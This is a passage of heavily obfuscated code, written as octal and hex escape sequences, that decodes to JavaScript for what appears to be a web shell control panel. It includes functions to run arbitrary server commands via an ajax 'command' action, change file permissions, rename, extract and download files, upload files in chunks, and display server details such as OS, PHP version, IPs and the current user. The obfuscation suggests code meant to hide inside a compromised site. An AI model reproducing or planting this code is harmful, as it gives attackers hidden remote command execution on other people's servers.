0\144\x65\154\145\x74\145\103\x61\154\x6c\142\141\143\x6b\x28\x29\x3b\40\x64\145\154\x65\x74\x65\x43\x61\154\154\x62\141\x63\x6b\x20\x3d\x20\156\165\154\x6c\x3b\x20\175\15\12\40\x20\x20\40\x20\40\x20\40\x7d\15\12\xd\xa\40\x20\40\40\40\40\40\40\141\163\171\156\143\x20\x66\165\156\x63\164\x69\x6f\156\x20\x64\x6f\x77\156\154\157\141\x64\x46\x69\154\145\50\x6e\x61\x6d\x65\x29\40\173\15\xa\40\x20\40\40\40\40\40\x20\x20\40\x20\40\167\151\156\x64\x6f\167\x2e\154\x6f\x63\x61\164\x69\x6f\156\x2e\x68\162\145\146\x20\75\x20\x60\77\141\143\164\x69\x6f\x6e\x3d\x64\157\x77\x6e\154\157\141\144\x26\x70\x61\164\x68\x3d\x24\x7b\x65\156\143\x6f\144\x65\125\x52\x49\103\x6f\155\160\157\x6e\x65\x6e\x74\x28\143\x75\162\162\145\x6e\x74\120\x61\164\x68\x20\x7c\x7c\x20\x69\x6e\x69\x74\x69\x61\x6c\x50\x61\x74\x68\x29\175\x26\146\x69\x6c\145\x3d\44\x7b\x65\156\x63\x6f\144\x65\x55\x52\x49\x43\x6f\155\x70\x6f\x6e\x65\x6e\x74\50\156\141\x6d\x65\x29\x7d\x60\x3b\15\xa\x20\40\40\x20\x20\40\x20\x20\x7d\xd\12\xd\xa\40\40\x20\40\x20\40\x20\40\141\x73\171\x6e\143\x20\x66\165\156\x63\x74\151\x6f\156\x20\x64\157\x77\x6e\x6c\x6f\x61\144\123\x65\x6c\145\143\164\145\x64\50\x29\40\x7b\xd\xa\x20\x20\x20\x20\40\40\x20\x20\40\x20\x20\x20\151\146\40\50\x21\163\145\x6c\145\143\x74\145\x64\111\164\145\x6d\163\56\154\x65\x6e\147\164\150\x29\x20\162\x65\x74\165\162\156\73\xd\12\40\40\40\x20\x20\40\x20\x20\40\40\x20\x20\146\x6f\x72\x20\50\x63\x6f\x6e\x73\164\x20\151\164\145\155\x20\x6f\x66\x20\x73\x65\154\145\143\x74\145\144\111\x74\145\x6d\x73\51\x20\x7b\xd\12\40\x20\40\x20\40\x20\40\40\x20\x20\x20\40\x20\x20\x20\40\141\x77\141\x69\x74\40\144\157\167\156\x6c\x6f\141\144\x46\151\154\x65\x28\x69\x74\145\x6d\x29\73\15\xa\40\x20\x20\x20\x20\40\40\x20\40\x20\40\x20\x20\40\x20\40\x61\x77\141\x69\x74\40\x6e\x65\167\40\120\x72\157\x6d\151\163\x65\x28\x72\x20\75\76\x20\163\145\164\x54\x69\x6d\145\x6f\165\164\50\x72\x2c\x20\65\x30\60\x29\x29\x3b\xd\xa\x20\40\x20\x20\x20\40\x20\x20\40\40\x20\x20\175\15\12\x20\x20\x20\x20\x20\40\x20\x20\x7d\15\12\xd\xa\40\x20\40\x20\40\x20\40\40\146\165\156\x63\164\x69\x6f\x6e\40\x73\x68\x6f\x77\103\150\x6d\x6f\144\115\x6f\144\x61\x6c\x28\156\141\155\x65\54\x20\160\145\x72\155\51\x20\173\15\xa\x20\x20\40\40\x20\x20\x20\x20\x20\x20\x20\40\x64\157\x63\x75\x6d\x65\x6e\x74\56\x67\145\164\105\x6c\145\155\145\156\x74\102\x79\x49\144\50\47\143\150\x6d\x6f\144\x46\x69\x6c\x65\x4e\x61\155\145\x27\x29\56\164\x65\170\164\103\157\x6e\164\145\x6e\164\40\x3d\x20\x6e\x61\x6d\x65\x3b\15\12\40\x20\40\40\40\40\40\40\x20\x20\40\x20\x64\157\143\x75\x6d\x65\x6e\x74\x2e\x67\145\x74\105\154\145\155\x65\x6e\164\x42\x79\111\x64\50\47\143\x68\x6d\157\x64\x56\x61\x6c\165\145\47\51\56\166\x61\x6c\165\x65\x20\75\x20\160\x65\162\x6d\73\15\12\x20\x20\x20\40\x20\x20\40\x20\x20\x20\40\x20\x63\x75\162\162\145\156\164\x43\x68\155\x6f\144\x46\151\154\x65\40\75\40\156\141\155\145\73\xd\12\x20\x20\40\40\x20\40\40\x20\40\40\x20\x20\163\150\157\x77\x4d\157\x64\x61\154\x28\47\x63\x68\x6d\157\144\x4d\x6f\x64\x61\x6c\47\x29\73\xd\xa\x20\40\40\40\x20\x20\x20\40\175\xd\xa\xd\12\40\40\40\40\x20\x20\40\x20\141\x73\x79\x6e\x63\x20\x66\165\x6e\x63\164\x69\157\156\40\143\150\141\156\x67\x65\x50\x65\162\155\x69\x73\x73\x69\x6f\x6e\x28\51\x20\x7b\15\12\40\x20\x20\40\40\x20\40\x20\40\40\40\40\143\157\x6e\x73\164\x20\160\x65\x72\155\x20\75\x20\144\x6f\143\165\155\x65\156\164\56\147\x65\x74\x45\x6c\145\155\x65\156\164\102\x79\111\144\50\47\x63\x68\155\x6f\x64\126\141\154\165\145\x27\x29\x2e\166\x61\x6c\165\x65\x2e\164\x72\151\x6d\x28\x29\73\xd\12\40\x20\40\x20\40\40\40\x20\40\40\x20\40\x69\x66\40\50\41\x70\x65\162\155\x29\40\x72\x65\x74\165\162\x6e\40\163\x68\x6f\167\124\157\x61\x73\164\50\47\x50\154\145\141\x73\x65\x20\x65\x6e\164\x65\x72\40\160\145\x72\155\x69\163\x73\x69\157\x6e\40\166\141\x6c\x75\x65\47\54\40\x27\145\x72\x72\x6f\162\47\51\73\15\xa\40\40\x20\x20\x20\40\x20\x20\x20\x20\x20\40\143\x6f\x6e\163\164\x20\x72\x65\163\40\75\40\x61\167\x61\151\164\x20\x61\152\x61\170\50\x27\x63\150\x6d\x6f\144\47\54\40\173\40\146\x69\x6c\145\x3a\x20\x63\165\x72\162\145\156\164\103\150\155\x6f\x64\x46\x69\x6c\145\54\x20\160\145\x72\x6d\x69\x73\163\x69\157\156\72\x20\160\x65\x72\x6d\40\x7d\51\73\15\12\x20\40\40\x20\x20\40\40\40\x20\x20\x20\x20\151\146\x20\50\x72\145\163\40\x26\x26\40\162\145\x73\x2e\x73\x75\143\143\x65\163\163\51\40\173\15\xa\x20\40\x20\x20\40\x20\x20\40\x20\40\40\40\40\x20\x20\40\163\x68\157\167\x54\157\x61\x73\x74\x28\47\120\x65\162\155\151\163\163\x69\x6f\x6e\40\143\x68\141\x6e\147\145\144\40\x73\165\x63\x63\x65\x73\163\146\x75\154\x6c\171\47\x29\x3b\xd\12\40\40\x20\x20\x20\40\40\40\x20\x20\40\x20\x20\40\40\x20\143\x6c\157\x73\x65\115\157\144\141\154\50\x27\x63\150\155\x6f\144\115\157\144\141\154\47\51\73\15\xa\40\40\x20\x20\40\40\x20\x20\x20\40\x20\x20\40\40\x20\40\154\157\x61\144\106\x69\x6c\x65\x73\50\143\x75\x72\x72\145\156\x74\x50\x61\164\150\x29\73\15\xa\x20\x20\40\x20\40\40\40\x20\x20\x20\x20\40\175\40\x65\x6c\163\145\x20\163\x68\157\167\x54\157\x61\x73\164\x28\x72\145\163\77\x2e\x6d\145\x73\163\x61\x67\145\40\x7c\174\x20\x27\106\141\x69\154\145\x64\40\164\157\x20\143\150\x61\156\x67\145\x20\x70\x65\x72\x6d\151\163\163\151\157\156\47\x2c\40\47\x65\x72\x72\157\x72\x27\51\x3b\xd\xa\40\x20\40\40\40\40\40\x20\x7d\xd\12\xd\12\x20\40\40\x20\40\40\x20\40\146\165\156\x63\x74\151\x6f\156\40\163\150\157\x77\122\145\x6e\141\x6d\x65\x4d\x6f\x64\141\154\x28\x6e\x61\x6d\145\51\40\173\xd\12\40\40\x20\40\40\40\x20\x20\40\40\x20\x20\x64\157\143\165\155\x65\156\x74\x2e\x67\x65\164\x45\x6c\145\155\x65\156\164\102\x79\111\144\50\47\x6f\x6c\x64\x46\x69\154\x65\116\141\155\x65\x27\x29\56\x74\x65\170\164\103\x6f\x6e\164\145\156\x74\40\75\40\x6e\x61\x6d\x65\73\xd\12\x20\x20\x20\40\40\x20\40\x20\x20\40\40\x20\x64\157\143\x75\x6d\145\156\164\56\x67\x65\x74\105\x6c\145\155\x65\156\164\x42\171\111\144\50\x27\156\x65\x77\106\151\154\x65\x4e\x61\155\x65\x27\x29\x2e\x76\x61\x6c\x75\145\x20\x3d\40\x6e\141\155\x65\x3b\15\12\x20\40\40\x20\x20\x20\40\40\x20\x20\x20\40\x63\x75\162\162\145\x6e\164\x52\145\156\141\x6d\x65\106\x69\154\145\x20\75\40\x6e\x61\155\145\x3b\xd\12\40\40\x20\40\x20\40\40\x20\40\x20\40\x20\163\150\x6f\x77\115\x6f\x64\x61\154\x28\47\162\145\156\141\155\145\115\x6f\x64\141\154\x27\x29\73\15\12\40\40\40\40\x20\40\x20\40\175\15\12\15\xa\40\x20\x20\x20\40\x20\40\40\141\x73\x79\156\143\40\146\165\156\x63\x74\151\157\x6e\x20\162\x65\156\x61\155\x65\x49\x74\x65\155\x28\51\x20\173\xd\12\40\x20\40\40\x20\40\40\x20\40\40\40\x20\x63\157\156\x73\x74\x20\x6e\145\x77\x4e\x61\x6d\x65\40\75\40\144\x6f\143\165\x6d\145\156\164\56\x67\145\x74\x45\154\x65\155\145\156\x74\102\171\111\144\50\47\x6e\x65\x77\106\x69\154\145\x4e\x61\155\x65\47\51\56\166\141\154\165\x65\x2e\164\x72\151\155\x28\x29\x3b\xd\12\40\x20\40\x20\x20\40\40\40\40\x20\x20\x20\151\146\40\50\41\156\x65\167\x4e\141\x6d\x65\x29\40\162\x65\164\165\162\156\40\x73\150\x6f\167\124\157\x61\x73\164\50\47\x50\154\x65\x61\x73\x65\x20\145\156\x74\x65\162\40\x6e\145\167\x20\156\141\155\x65\x27\x2c\40\47\145\x72\162\157\162\47\x29\x3b\15\12\40\40\40\x20\40\x20\x20\40\40\x20\x20\x20\x63\157\x6e\x73\164\x20\x72\145\x73\x20\75\40\x61\167\141\x69\x74\40\x61\152\141\x78\50\47\162\145\x6e\141\155\145\x27\x2c\40\x7b\x20\x6f\154\x64\x3a\x20\x63\165\162\x72\145\x6e\x74\122\145\156\141\155\x65\x46\x69\x6c\x65\x2c\40\156\145\167\x3a\x20\x6e\x65\x77\116\x61\155\x65\40\x7d\51\73\15\12\x20\40\40\40\x20\x20\40\40\40\x20\x20\40\151\x66\x20\x28\162\x65\163\x20\x26\x26\40\x72\x65\163\56\x73\165\143\x63\x65\163\163\51\x20\173\15\12\40\x20\x20\x20\40\40\40\x20\40\40\x20\x20\x20\40\x20\40\x73\150\157\x77\x54\157\141\163\x74\50\x27\x52\x65\x6e\141\x6d\x65\x64\40\163\165\143\143\x65\163\163\146\x75\x6c\x6c\171\47\x29\73\xd\12\x20\x20\x20\40\x20\40\40\x20\40\40\40\x20\x20\40\x20\x20\x63\x6c\157\163\145\x4d\157\x64\x61\154\50\47\x72\145\x6e\x61\x6d\145\x4d\x6f\x64\x61\x6c\47\51\73\xd\12\40\40\40\x20\40\40\40\40\40\40\40\x20\x20\40\40\x20\154\157\141\144\x46\x69\x6c\x65\x73\x28\x63\x75\x72\162\145\x6e\164\120\141\x74\x68\51\73\15\xa\x20\x20\40\40\40\40\40\x20\x20\x20\40\x20\175\40\x65\154\163\x65\x20\x73\150\157\x77\x54\x6f\x61\x73\x74\50\162\145\163\77\56\155\x65\x73\x73\x61\147\x65\40\174\x7c\40\x27\x46\141\x69\154\145\144\x20\164\157\40\162\x65\x6e\x61\155\145\47\x2c\x20\47\145\x72\x72\157\x72\47\x29\x3b\15\xa\x20\x20\40\40\40\x20\x20\x20\x7d\15\xa\xd\xa\x20\x20\40\40\40\x20\x20\x20\141\x73\x79\156\143\x20\x66\165\x6e\x63\x74\151\x6f\x6e\40\145\170\x74\162\x61\x63\164\x46\151\x6c\145\x28\156\141\x6d\x65\x29\40\173\15\12\40\x20\x20\x20\x20\x20\x20\x20\40\40\40\x20\x63\x6f\156\163\x74\40\x72\145\x73\40\75\x20\x61\167\141\x69\164\40\x61\x6a\141\x78\50\47\145\x78\164\162\x61\143\x74\x27\54\x20\x7b\x20\146\151\154\x65\x3a\40\156\x61\155\145\x20\x7d\x29\73\xd\xa\x20\40\x20\40\x20\x20\40\x20\x20\40\x20\40\151\146\40\x28\x72\145\163\x20\x26\x26\40\162\145\x73\56\163\x75\x63\x63\x65\x73\x73\51\x20\x7b\15\xa\x20\40\x20\40\40\40\x20\x20\x20\40\x20\40\x20\x20\x20\40\x73\x68\x6f\x77\x54\157\x61\x73\x74\x28\47\x46\x69\154\x65\40\145\x78\164\x72\141\x63\164\x65\144\x20\x73\x75\x63\x63\145\163\163\x66\165\154\x6c\x79\47\51\x3b\15\xa\40\x20\40\40\40\40\40\x20\x20\40\40\x20\40\x20\x20\40\154\157\x61\x64\106\x69\x6c\x65\163\x28\x63\165\162\x72\x65\156\164\120\141\x74\x68\x29\73\15\12\40\40\40\40\x20\x20\x20\x20\40\x20\x20\40\175\x20\x65\154\163\145\x20\163\150\157\167\124\157\141\x73\164\x28\162\x65\x73\77\x2e\x6d\145\x73\163\141\147\145\x20\174\x7c\x20\47\x46\141\x69\x6c\x65\144\40\164\x6f\40\x65\x78\x74\162\141\x63\x74\x20\x66\151\154\x65\x27\x2c\40\x27\x65\162\x72\157\162\47\51\x3b\xd\12\40\40\40\x20\x20\40\x20\x20\x7d\15\xa\xd\12\40\x20\x20\x20\x20\x20\x20\x20\x61\x73\x79\156\143\40\146\x75\156\x63\x74\151\157\x6e\x20\x65\170\x65\x63\x75\164\145\x43\157\x6d\155\141\x6e\144\50\51\40\173\xd\12\x20\40\40\40\40\40\x20\40\40\40\x20\x20\143\x6f\x6e\x73\x74\40\x63\155\x64\40\75\x20\x64\157\143\165\x6d\x65\x6e\x74\x2e\x67\x65\164\105\154\x65\155\145\x6e\x74\102\171\x49\144\x28\x27\x63\155\144\111\156\x70\x75\164\x27\51\x2e\166\141\154\x75\145\56\164\162\x69\155\50\x29\73\15\12\40\x20\40\40\x20\x20\40\40\40\x20\x20\x20\x69\x66\40\x28\x21\143\x6d\x64\x29\x20\x72\x65\164\x75\x72\x6e\40\163\150\157\167\124\157\141\163\x74\x28\47\120\154\145\x61\x73\145\x20\145\156\164\145\x72\x20\141\40\143\157\155\155\x61\156\x64\47\54\x20\x27\x65\162\x72\157\162\47\51\73\15\xa\x20\40\x20\40\40\x20\x20\40\40\x20\40\40\x64\x6f\143\x75\x6d\145\156\164\x2e\x67\145\x74\x45\154\x65\x6d\x65\x6e\x74\102\171\x49\x64\x28\47\143\155\144\117\x75\164\160\165\164\x27\51\56\x74\x65\x78\164\103\157\156\x74\x65\x6e\x74\x20\75\40\47\44\40\47\40\53\40\x63\x6d\144\x20\53\40\47\x5c\156\105\170\x65\143\x75\x74\x69\156\147\56\56\56\47\73\15\xa\x20\40\x20\40\40\40\40\x20\x20\40\x20\x20\x63\157\x6e\163\x74\40\x72\145\163\x20\75\40\x61\x77\x61\x69\x74\x20\141\x6a\x61\x78\x28\x27\x63\x6f\155\155\141\156\144\x27\54\40\173\x20\x63\x6d\x64\40\x7d\51\73\xd\12\x20\x20\x20\x20\40\x20\x20\x20\x20\40\40\40\151\146\40\50\162\x65\163\x20\46\x26\40\x72\145\x73\x2e\x73\x75\x63\143\x65\x73\163\x29\x20\x7b\xd\12\40\40\40\x20\40\40\40\x20\40\40\40\40\40\x20\x20\40\144\x6f\143\x75\155\x65\x6e\164\56\x67\145\164\105\154\145\x6d\x65\x6e\164\x42\171\x49\144\x28\x27\x63\155\144\x4f\165\x74\160\165\x74\x27\51\56\164\145\x78\164\103\157\156\164\x65\x6e\164\40\x3d\x20\x27\44\40\47\x20\x2b\40\143\155\144\40\53\x20\47\x5c\x6e\47\40\53\x20\50\x72\145\163\x2e\x6f\x75\x74\160\x75\x74\40\x7c\174\40\x27\50\156\157\x20\x6f\x75\164\x70\x75\164\51\x27\x29\73\xd\12\40\x20\x20\40\40\x20\40\x20\x20\x20\x20\x20\175\x20\x65\x6c\x73\145\x20\173\xd\12\40\40\x20\x20\x20\x20\x20\40\x20\x20\40\40\40\40\40\40\x64\157\143\x75\x6d\x65\156\164\x2e\147\x65\164\105\154\145\x6d\145\156\x74\102\x79\x49\x64\50\x27\x63\x6d\x64\x4f\x75\164\x70\x75\164\47\x29\x2e\164\145\170\x74\103\157\x6e\164\145\x6e\164\x20\75\x20\x27\44\40\x27\40\x2b\x20\x63\155\x64\40\53\x20\47\x5c\156\105\162\162\x6f\162\72\40\47\x20\x2b\x20\50\162\x65\x73\77\x2e\x6d\145\x73\x73\141\147\145\40\x7c\174\40\47\x43\x6f\155\x6d\141\156\144\x20\x66\141\x69\154\145\x64\x27\51\x3b\xd\xa\40\x20\x20\x20\x20\x20\40\40\40\x20\40\40\x7d\xd\xa\x20\x20\40\x20\x20\40\40\40\x7d\xd\xa\xd\xa\x20\40\40\40\40\40\40\x20\141\163\171\156\143\40\146\x75\x6e\143\x74\x69\x6f\x6e\x20\x6c\157\141\x64\123\145\162\166\x65\162\111\156\146\x6f\x28\51\x20\x7b\xd\xa\40\40\40\x20\x20\x20\x20\x20\40\40\40\40\143\x6f\x6e\x73\x74\40\162\145\163\40\75\x20\141\167\141\x69\164\x20\141\152\x61\170\50\47\151\156\146\157\47\x29\x3b\xd\12\x20\x20\40\40\x20\40\x20\40\x20\x20\x20\x20\151\146\40\50\162\145\x73\40\x26\x26\40\x72\x65\x73\56\163\x75\143\x63\x65\163\163\x29\x20\173\xd\xa\x20\x20\x20\40\40\40\x20\x20\x20\40\x20\40\40\40\40\x20\x63\x6f\156\163\x74\x20\151\156\x66\x6f\40\75\40\162\145\x73\56\151\x6e\146\x6f\x3b\15\xa\x20\40\40\x20\40\40\40\x20\x20\40\40\40\40\x20\40\x20\x64\x6f\x63\165\x6d\145\x6e\164\56\x67\x65\x74\105\x6c\145\155\x65\x6e\x74\x42\171\x49\x64\x28\x27\163\x65\162\x76\145\x72\111\x6e\146\157\47\x29\x2e\151\x6e\x6e\145\162\x48\124\115\x4c\40\x3d\x20\x60\xd\12\x20\x20\x20\40\40\40\x20\40\x20\x20\x20\x20\x20\x20\x20\40\40\40\40\x20\x3c\x64\x69\166\40\143\154\141\163\x73\x3d\x22\x69\x6e\146\157\55\x69\x74\x65\155\42\76\15\12\40\x20\x20\40\40\40\40\40\x20\x20\40\40\40\40\40\x20\40\40\40\x20\40\x20\40\40\74\163\160\141\x6e\x20\143\154\x61\x73\163\75\x22\x69\x6e\x66\157\x2d\154\x61\142\145\x6c\42\x3e\123\145\x72\x76\x65\162\40\x4e\x61\x6d\x65\74\x2f\163\x70\141\156\76\xd\xa\x20\x20\x20\x20\40\x20\40\x20\x20\40\x20\40\40\x20\x20\40\40\x20\x20\x20\x20\40\40\40\x3c\x73\160\141\156\40\143\x6c\x61\x73\163\75\x22\x69\x6e\x66\157\55\x76\141\x6c\165\145\42\76\44\173\151\156\146\157\56\163\145\162\166\x65\162\137\156\141\155\145\175\x3c\x2f\x73\x70\141\156\x3e\15\xa\40\40\x20\40\x20\x20\40\40\40\x20\40\x20\x20\40\40\x20\x20\x20\x20\x20\74\57\144\x69\166\76\xd\12\x20\40\x20\x20\x20\x20\40\x20\40\40\x20\x20\40\40\x20\x20\40\x20\x20\40\74\x64\151\x76\x20\143\x6c\x61\x73\163\x3d\x22\x69\x6e\x66\x6f\55\x69\164\145\155\42\76\15\12\40\40\40\x20\40\40\x20\x20\40\40\40\40\40\x20\x20\40\x20\x20\40\x20\40\x20\40\40\74\163\160\141\156\40\x63\154\x61\163\163\x3d\x22\x69\156\x66\157\55\x6c\141\x62\x65\154\x22\x3e\x53\x65\162\166\x65\162\x20\123\157\x66\x74\167\x61\x72\x65\74\x2f\x73\160\x61\156\76\xd\xa\x20\x20\x20\40\x20\x20\x20\x20\40\x20\x20\40\40\x20\x20\40\x20\x20\40\x20\40\x20\40\40\x3c\x73\x70\141\x6e\40\x63\x6c\141\163\x73\x3d\x22\x69\156\x66\157\x2d\166\141\154\x75\x65\42\x3e\44\173\x69\x6e\x66\x6f\56\x73\145\x72\166\145\162\x5f\163\157\146\164\x77\141\162\x65\x7d\x3c\57\x73\160\141\156\76\xd\12\x20\40\x20\x20\40\40\x20\40\40\x20\x20\x20\x20\x20\40\40\40\x20\x20\x20\x3c\57\x64\151\x76\x3e\xd\12\x20\40\40\x20\40\40\40\40\40\x20\40\40\x20\40\40\40\x20\x20\x20\x20\x3c\144\151\166\x20\x63\x6c\x61\x73\x73\75\42\151\156\x66\x6f\x2d\x69\164\145\x6d\x22\76\15\xa\x20\40\x20\x20\x20\40\40\40\x20\40\40\x20\40\x20\40\x20\x20\40\x20\40\x20\40\40\x20\74\x73\x70\x61\156\x20\x63\154\x61\x73\x73\75\x22\x69\x6e\146\157\55\x6c\x61\142\x65\x6c\x22\x3e\117\160\x65\x72\x61\x74\x69\156\x67\40\x53\x79\x73\x74\x65\x6d\74\x2f\163\x70\141\156\76\xd\12\x20\x20\x20\40\x20\x20\40\40\40\40\x20\40\x20\x20\40\40\40\40\x20\x20\x20\40\x20\40\x3c\x73\160\x61\156\x20\143\x6c\x61\163\x73\x3d\42\x69\156\146\157\55\x76\141\154\165\x65\42\76\44\x7b\x69\x6e\146\x6f\x2e\x6f\x73\175\74\57\x73\160\x61\156\x3e\15\xa\x20\40\x20\40\40\40\40\40\40\x20\x20\40\x20\x20\40\x20\40\x20\40\40\x3c\57\x64\x69\x76\x3e\xd\12\x20\x20\x20\x20\40\x20\40\40\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\40\74\x64\x69\x76\x20\x63\154\141\x73\163\x3d\x22\x69\156\x66\x6f\55\151\x74\145\155\42\76\15\12\x20\x20\40\40\x20\x20\x20\40\40\x20\x20\x20\x20\40\40\40\40\x20\x20\40\40\40\x20\40\x3c\x73\160\x61\156\40\143\154\141\x73\163\75\42\x69\x6e\146\157\x2d\x6c\141\142\x65\154\x22\76\x50\110\x50\x20\x56\145\x72\x73\151\x6f\156\74\57\163\x70\x61\156\76\xd\xa\40\40\40\40\x20\40\x20\40\40\40\40\40\40\x20\x20\x20\40\x20\x20\40\40\40\40\40\x3c\x73\160\141\156\40\x63\x6c\x61\163\163\75\x22\x69\x6e\146\x6f\x2d\x76\141\x6c\165\145\42\76\x24\173\151\156\x66\x6f\56\x70\150\x70\137\x76\x65\162\x73\151\157\156\x7d\74\x2f\x73\x70\141\x6e\76\xd\12\40\40\40\x20\x20\x20\x20\x20\40\40\x20\x20\x20\x20\40\x20\x20\40\x20\x20\74\x2f\144\151\166\76\xd\12\40\40\40\x20\40\40\40\40\40\x20\40\x20\x20\40\40\40\40\x20\x20\40\x3c\144\151\166\40\143\x6c\141\163\163\75\42\151\156\146\x6f\55\x69\164\x65\155\x22\x3e\xd\12\40\40\40\x20\40\x20\40\40\x20\40\x20\40\x20\x20\x20\40\40\40\40\x20\x20\40\x20\x20\x3c\163\x70\x61\x6e\x20\x63\x6c\x61\163\x73\x3d\x22\151\x6e\x66\157\55\x6c\141\142\x65\154\42\x3e\x59\x6f\x75\162\40\111\120\x3c\x2f\163\x70\x61\x6e\76\xd\xa\x20\40\x20\40\x20\40\x20\40\40\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\40\40\x20\40\x3c\163\x70\x61\x6e\x20\143\x6c\141\x73\163\x3d\42\x69\x6e\146\x6f\55\x76\x61\154\165\x65\42\x3e\x24\173\x69\156\x66\157\x2e\143\x6c\x69\x65\x6e\x74\137\151\x70\175\74\57\x73\160\x61\156\76\15\12\x20\40\40\x20\40\40\40\x20\x20\40\40\40\40\40\x20\40\40\x20\x20\40\x3c\57\x64\x69\166\x3e\15\12\x20\40\x20\x20\40\40\x20\40\40\x20\x20\x20\40\x20\x20\x20\40\x20\x20\40\74\x64\x69\x76\40\143\154\x61\x73\x73\x3d\42\151\156\146\157\55\x69\164\145\x6d\x22\x3e\xd\12\40\x20\40\40\x20\x20\40\40\x20\40\x20\x20\x20\x20\40\x20\40\x20\x20\40\40\40\40\40\x3c\163\x70\x61\156\40\x63\x6c\141\163\x73\75\42\151\156\x66\157\55\x6c\141\142\145\x6c\x22\76\x53\145\162\166\145\162\x20\111\120\x3c\57\x73\x70\x61\x6e\x3e\xd\xa\x20\x20\40\40\x20\40\x20\x20\40\x20\x20\x20\x20\40\40\40\x20\x20\40\40\x20\40\x20\40\x3c\x73\160\x61\x6e\40\x63\x6c\x61\x73\163\x3d\x22\151\x6e\x66\x6f\55\x76\x61\154\x75\x65\x22\x3e\44\x7b\x69\x6e\x66\157\x2e\x73\145\162\x76\x65\x72\137\151\160\x7d\x3c\x2f\163\160\141\156\x3e\xd\12\40\40\40\40\x20\x20\40\x20\x20\40\x20\40\x20\40\x20\x20\x20\x20\x20\x20\74\57\144\x69\166\x3e\xd\xa\40\40\40\40\40\x20\x20\x20\40\x20\40\40\x20\x20\40\x20\x20\x20\x20\x20\74\144\151\166\40\x63\154\x61\x73\x73\x3d\x22\151\x6e\x66\157\x2d\x69\164\x65\155\x22\76\xd\xa\40\40\40\x20\40\x20\x20\x20\40\x20\40\40\x20\40\40\40\x20\x20\40\40\x20\x20\40\40\74\163\x70\x61\156\x20\x63\x6c\141\163\163\75\42\x69\156\146\157\55\154\141\142\x65\x6c\x22\x3e\x43\165\x72\x72\145\x6e\164\x20\104\x69\162\145\143\164\x6f\162\171\x3c\x2f\163\x70\141\x6e\x3e\xd\xa\40\40\x20\40\x20\x20\40\x20\x20\x20\x20\40\40\40\x20\x20\x20\x20\x20\40\40\40\x20\40\74\x73\160\x61\156\x20\143\x6c\141\163\x73\75\x22\151\156\x66\x6f\55\166\x61\154\165\x65\42\x3e\44\173\x69\x6e\x66\x6f\x2e\143\x75\162\162\145\156\164\x5f\144\x69\x72\x7d\x3c\x2f\163\x70\141\x6e\x3e\xd\12\40\x20\x20\40\40\40\x20\40\40\40\x20\x20\40\40\40\40\40\x20\40\40\x3c\57\144\151\x76\76\xd\xa\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\40\40\40\x20\x20\x20\40\x20\40\x20\74\x64\151\166\x20\143\154\141\x73\163\75\42\151\x6e\x66\157\x2d\x69\164\145\x6d\x22\76\xd\12\x20\40\x20\40\x20\40\40\40\x20\40\40\40\40\40\40\x20\40\x20\x20\40\40\x20\40\40\74\x73\160\x61\x6e\x20\x63\x6c\x61\x73\163\x3d\x22\151\x6e\x66\157\55\x6c\141\x62\145\x6c\42\76\x43\165\162\162\145\156\x74\x20\125\163\x65\x72\x3c\57\x73\160\141\156\76\15\xa\40\x20\x20\x20\40\40\40\40\40\x20\x20\40\40\x20\x20\40\40\x20\40\x20\x20\x20\x20\40\x3c\x73\x70\141\156\x20\143\x6c\x61\x73\x73\75\x22\151\156\146\157\55\166\x61\154\x75\145\x22\x3e\x24\173\151\x6e\x66\x6f\56\x63\165\x72\162\x65\156\x74\x5f\165\x73\x65\162\175\x3c\57\163\x70\141\156\76\15\xa\40\40\40\40\x20\x20\x20\40\40\x20\40\40\40\x20\x20\x20\40\x20\40\40\x3c\57\x64\x69\166\76\15\xa\40\40\x20\40\x20\x20\x20\x20\40\40\x20\40\40\x20\x20\40\x20\40\40\40\x3c\144\151\166\40\x63\x6c\141\x73\x73\75\x22\151\x6e\146\x6f\x2d\151\x74\x65\x6d\x22\76\15\xa\40\x20\40\x20\x20\x20\40\40\x20\40\40\40\40\x20\40\x20\x20\40\x20\x20\x20\x20\40\x20\x3c\163\x70\x61\156\40\143\154\x61\x73\x73\x3d\x22\x69\156\146\157\55\x6c\x61\142\145\154\42\x3e\123\x65\x72\x76\x65\x72\x3c\x2f\x73\160\x61\x6e\x3e\15\xa\x20\x20\x20\40\40\40\40\40\40\x20\x20\40\40\x20\40\x20\x20\40\x20\x20\40\40\40\40\x3c\163\x70\141\156\40\x63\154\x61\x73\163\75\42\x69\156\146\157\x2d\x76\141\154\x75\x65\42\76\x24\173\151\156\x66\157\x2e\x73\145\162\166\x65\162\137\146\x75\154\154\175\x3c\x2f\x73\x70\x61\x6e\x3e\15\xa\40\40\x20\40\x20\x20\x20\x20\x20\40\x20\x20\40\x20\40\x20\40\40\x20\40\x3c\x2f\144\151\166\x3e\xd\xa\x20\40\40\40\x20\40\x20\x20\x20\x20\40\40\x20\x20\40\x20\x60\73\15\12\x20\x20\x20\40\x20\x20\40\x20\x20\x20\40\40\x7d\15\12\40\x20\40\x20\40\x20\40\40\175\xd\xa\15\xa\x20\x20\x20\40\x20\40\x20\x20\x64\x6f\x63\165\x6d\145\156\x74\56\x61\144\144\x45\x76\145\x6e\x74\114\x69\x73\164\145\x6e\x65\x72\50\47\x44\117\x4d\103\x6f\156\x74\x65\156\x74\x4c\157\x61\144\145\144\47\54\40\x28\51\x20\x3d\x3e\x20\x7b\xd\12\40\40\40\40\x20\x20\x20\40\40\x20\40\40\x6c\x6f\141\144\106\151\154\145\x73\50\151\156\151\164\151\141\154\x50\141\x74\x68\x29\73\xd\xa\40\x20\x20\x20\x20\x20\x20\x20\40\x20\40\40\x6c\157\x61\144\x53\x65\162\x76\x65\x72\111\156\146\157\x28\51\73\15\12\15\xa\x20\x20\40\x20\40\40\x20\40\40\40\x20\x20\x64\157\143\x75\x6d\x65\156\x74\x2e\x67\x65\164\x45\x6c\x65\155\x65\156\x74\x42\171\111\144\50\x27\x75\160\x6c\157\x61\x64\106\x69\x6c\x65\47\51\15\12\x20\40\x20\40\40\40\40\40\x20\x20\x20\40\x20\40\x20\40\x2e\141\144\144\x45\166\145\x6e\164\x4c\151\x73\164\145\156\145\x72\x28\47\143\x68\141\x6e\x67\145\x27\54\40\165\x70\x6c\157\141\x64\x46\151\154\x65\x73\51\x3b\15\12\xd\xa\40\40\40\40\40\40\x20\40\40\x20\40\40\144\x6f\143\165\x6d\x65\x6e\164\x2e\147\x65\164\x45\x6c\x65\155\145\x6e\164\102\x79\111\x64\x28\47\143\150\165\x6e\153\125\x70\